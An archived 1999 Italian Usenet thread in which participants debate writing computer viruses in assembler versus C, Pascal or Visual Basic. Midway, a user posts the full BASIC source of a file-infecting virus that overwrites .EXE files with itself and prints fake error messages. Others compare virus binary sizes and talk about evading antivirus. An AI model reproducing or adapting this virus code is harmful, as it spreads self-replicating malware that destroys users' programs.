Newsgroup: it.comp.sicurezza.varie
Titolo: virus a tempo

Francamente scrivere virus in hll tipo c, pascal o (peggio) vb, mi pare una
perdita di tempo.
Molto meglio asm. Veloce, compatto ed efficiente.
Ciao.

 Molto meglio asm. Veloce, compatto ed efficiente.
Premesso che ritengo scrivere virus sia comunque una perdita di tempo
sono d'accordo.
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>

Molto meglio asm. Veloce, compatto ed efficiente.
Se per asm intendi l'assembler guarda che in c e in pascal lo puoi usare
direttamente e oltretutto con enormi facilitazioni operative.
In vb e' leggermente piu' complicato ma si puo' fare anche li volendo.

In un messaggio del Fri, 12 Mar 1999 15:26:37 +0100 Parsifal scriveva:


Vero ma non e' esattamente la stessa cosa del sano crudo codice ASM... c'e'
sempre l'overhead di cio' che aggiunge il compilatore.


Beh, mi sembra che abbia ragione il nostro amante di Tolkien.
Non capisco quale sia l'utilitŕ di scrivere un virus in hll.
A meno che Parsifal non voglia fare un virus di 100k o giů di lě; alla faccia
dello stealth. Poi vorrei sapere come fare un appending virus in c o vb (?!!).
E il polimorfismo? Quanto codice di c o vb vuoi scrivere? Un'enciclopedia,
presumo.
Vb - secondo me - puň servire solo per macro virus.
Comunque, aspetto di vedere un virus decente scritto in c o vb, che dia
qualche problema agli av... Il fatto č che un virus si deve solo replicare
efficientemente e di nascosto ed eventualmente avere un payload; insisto, che
te ne fai di un hll? 
Ciao.

efficientemente e di nascosto ecc,,
 Ce ne sono a iosa unitamente a tutorial che insegnano come farli e altre
schifezze del genere.
 Anche qui ovviamente bisogna sapere dove cercare con precisione.
 Per quanto riguarda 'dare dei problemi' ad un antivirus ..ci vuole molto
meno di quello che pensi.

>qualungue linguaggio di programmazione...
       ^
       |
        \____________ e' perche' sono negro nell'animo. ;-)


dipende, mi ricordo che borland c (c++ a volte) versione 3.0 per dos
li teneva ridotti, se usi borland c/c++ versione 5.(3 credo sia
l'ultima) per tutto (*1), tra aggiunte qui, pippine li, codicilli
laggiu'.....
(*1) qualsiasi sistema operativo M$ + qualcosa d'altro... 
ps tra l'altro il 3.0 stava su 5 dischetti... non serviva un cd.
unmaurizio leopardiano...
=ciao=
Nebbia

laggiu'.....
Turbo C 2.0, un TSR sta in 4250 bytes (6928 su disco). E si disinstalla
pure.
A parte che io sono sempre andato di assembler, incasinarmi con stack e
mazzi vari in C non ho mai avuto il coraggio ne', lo ammetto, le palle.
Leonardo "si', lo so che comunque poi mi sarebbero venute, ma..."
".signature": bad command or file name

qualungue linguaggio di programmazione...
io lo posto....
magari l'hai scritto proprio tu.. quando eri un monello cattivo cattivo
;)))
10 ON ERROR GOTO 670
20 REM *** A BASIC VIRUS ***
30 REN *** IF BASIC STINKS ***
40 REM *** THEN RUN THIS ***
50 REM *** HAHHAHAHAHAHA ***
60 REM *** LENGHTVIR MUST BE SET ***
70 REM *** TO THE LENGHT TO THE ***
80 REM *** LINKED PROGRAM ***
90 LENGHTVIR=9999
100 VIRROOT$="BV3.EXE"
110 REM *** WRITE THE DIRECTORY IN THE FILE "INH"
130 SHELL "DIR *.EXE>>INH"
140 REM ** OPEN "INH" FILE AND READ NAMES **
150 OPEN "R",1,"INH",32000
160 GET #1,1
170 LINE INPUT#1,ORIGINAL$
180 LINE INPUT#1,ORIGINAL$
190 LINE INPUT#1,ORIGINAL$
200 LINE INPUT#1,ORIGINAL$
210 ON ERROR GOT 670
220 CLOSE#2
230 F=1:LINE INPUT#1,ORIGINAL$
240 REM ** "%" IS THE MARKER OF THE BV3
250 REM ** "%" IN THE NAME MEANS
260 REM ** INFECTED COPY PRESENT
270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210
280 ORIGINAL$=MID$(ORIGINAL$,1,13)
290 EXTENSIONS$=MID$(ORIGINAL,9,13)
300 MID$(EXTENSIONS$,1,1)="."
310 REM *** CONCATENATE NAMES INTO FILENAMES **
320 F=F+1
330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN 350
340 GOTO 320
350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$
360 ON ERROR GOTO 210
365 TEST$=""
370 REM ++ OPEN FILE FOUND +++
380 OPEN "R",2,OROGINAL$,LENGHTVIR
390 IF LOF(2) < LENGHTVIR THEN GOTO 420
400 GET #2,2
410 LINE INPUT#1,TEST$
420 CLOSE#2
431 REM ++ CHECK IF PROGRAM IS ILL ++
440 REM ++ "%" AT THE END OF THE FILE MEANS..
450 REM ++ FILE IS ALREADY SICK ++
460 REM IF MID$(TEST,2,1)="%" THEN 210
470 CLOSE#1
480 ORIGINALS$=ORIGINAL$
490 MID$(ORIGINALS$,1,1)="%"
499 REM ++++ SANE "HEALTHY" PROGRAM ++++
510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$
520 SHELL C$
530 REM *** COPY VIRUS TO HEALTHY PROGRAM ****
540 C$="COPY "+VIRROOT$+ORIGINAL$
550 SHELL C$
560 REM *** APPEND VIRUS MARKER ***
570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13
580 WRITE#1,ORIGINALS$
590 CLOSE#1
630 REM ++ OUYPUT MESSAGE ++
640 PRINT "Internal error in " ;ORIGIANAL$
650 SYSTEM
660 REM ** VIRUS ERROR MESSAGE
670 PRINT "*** GOTCHA! ***":SYSTEM
680 END
erGoline

;)))
 he he .. no no .. io li facevo direttamente in assembler, sopra era solo
per stabilire il principio che l'incapacita' di concludere positivamente una
determinata procedura software (sia essa un virus o altro) non e' dovuta nel
99% dei casi alle limitazioni del linguaggio che adoperi, ma solo alle
limitazioni di chi si siede davanti alla tastiera.
 E' come quando guardando i quiz a premi la gente dice.. "quella e' una
domanda facile" ..oppure.. "quella e' una domanda difficile".
 Non esistono domande facili o difficili, come non esistono programmi facili
o difficili, esiste solo la capacita' di ognuno di saper risolvere un
determinato problema facendo ricorso a tutto quello che sa e a tutti i
supporti che e' in grado di ritrovare.

Leonardo "si', lo so che comunque poi mi sarebbero venute, ma..."
  ..ha ha ha .. ciao Bartolomeo. ;-)

supporti che e' in grado di ritrovare.
sara' per questo che a me piace tanto la tartarughina e odio Mike bongiorno
? forse si...
erGoline che ha ripreso in mano il TP7 :)))

 te ne fai di un hll? 
Pienamente d'accordo..


 compilati c. ;-)
Beh dipende da cosa usi... printf() e' un conto, write() e' un altro...


Beh dipende da cosa usi... printf() e' un conto, write() e' un altro...
 Si.. e' come dire che le nespole sono una cosa e gli struzzi un altra.
 Come faccio a darti torto? :)

In un messaggio del Mon, 15 Mar 1999 16:36:22 +0100 Parsifal scriveva:


Non so cosa c'entrino i frutti :-) ... le due funzioni hanno un peso
differente (la prima accetta un numero arbitrario di parametri e fa tante
cose mentre la seconda e' ridotta all'osso). E' ovvio che printf() in un
TSR e' come sparare con un RPG/7 ad un uccellino...



Che quando vuoi fare le cose precisine, ti incasina un po' tutto!
Per non parlare poi delle dimensioni!

        \____________ e' perche' sono negro nell'animo. ;-)
                                                                       ^
                                                                       |
         Parsifal razzista?!?!? ;)_________ /

  Valorizzatore della negritudine :)) _____/

cmq se ti puo' interessare.. oggi che no avevo niente da fare (he he ..
magari fosse vero)
ho fatto due prove..
   stessa cosa.. ad una certa data il prog fa X, si attacca agli exe,
controlla la sua esistenza.
   (Ovviamente niente polimorfismi o altri meccanismi cyp o stealth.)
 compilato e compresso  in Tp/7 mi viene 2k, in C borland 3.0 4.5k.
 Lo stesso col delphi .. (anche sotto consolle dos ..e' meglio non
parlarne).
 col visual basic compilato p-code .. e ottimizzato  mi viene 8K.
 giusto per la cronaca:
 Il mio vecchio sorgente assembler mi fava un compilato di 800Bytes.
 ..discutere se 2k o 8K sono peggio o meglio di 800Bytes mi sembra quindi
una polemica inutile.

> Il mio vecchio sorgente assembler mi fava un compilato di 800Bytes.
                                                                       ^
                                                                 ....questa
sono io! :)
 La parola giusta e' DAVA. (o forse no .. mah .. a quest'ora del resto.)

TSR e' come sparare con un RPG/7 ad un uccellino...
E' come spararsi nelle palle mirando a un uccellino: printf() non e'
rientrante (*) e chiamarla mentre il DOS e' impegnato fa male.
Leonardo
(*) E vai, tre doppi sensi al prezzo di uno.


> Il mio vecchio sorgente assembler mi fava un compilato di 800Bytes.
                                          ^
pensavo fosse la coniugazione fiorentiva per *faceva*
=ciao=
NebbiA

 (*) E vai, tre doppi sensi al prezzo di uno.
Ti chiamero' Ellelunga, che dire... 8-))


...

Forse  era la rava e la fava?

Quella? Proprio quella che avrebbe dovuto far scappare Max oltre manica? :-)
Lei in persona. M'e' giunta voce che si stia da poco interessando a Linux.
Aspetto il primo traduttore a comando vocale inglese/sanscrito per i primi
di maggio.
Leonardo per rendere l'idea


 Leonardo per rendere l'idea
Hai reso, hai reso... vorrei poterla conoscere per poter approfittare della
sua conoscenza :-)
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>

...

O svalutatore della neritudine?!? :)